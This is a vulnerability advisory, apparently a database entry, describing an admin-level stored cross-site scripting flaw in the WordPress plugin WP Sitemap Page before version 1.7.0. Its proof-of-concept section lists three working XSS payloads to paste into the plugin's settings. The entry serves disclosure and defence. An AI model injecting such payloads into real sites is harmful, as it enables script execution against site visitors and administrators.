WordPress Plugin Vulnerabilities
WP Sitemap Page < 1.7.0 - Admin+ Stored Cross Site Scripting
Description
The plugin does not properly sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.
Proof of Concept
Put the following payloads in the mentioned settings of the plugin: - How to display the posts (backend XSS, v < 1.6.5): </textarea><svg/onload=confirm('XSS')> - How to display the posts (frontend XSS, v < 1.6.6): <a style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS/)" href="{permalink}">{title}</a> - Exclude pages (backend XSS, v < 1.7.0): "><script>alert(/XSS/)</script>
Affects Plugins
References
CVE
Exploitdb
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Nikhil Kapoor From Esecforte
Submitter
Nikhil Kapoor From Esecforte
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-07 (about 2 years ago)
Added
2021-10-05 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)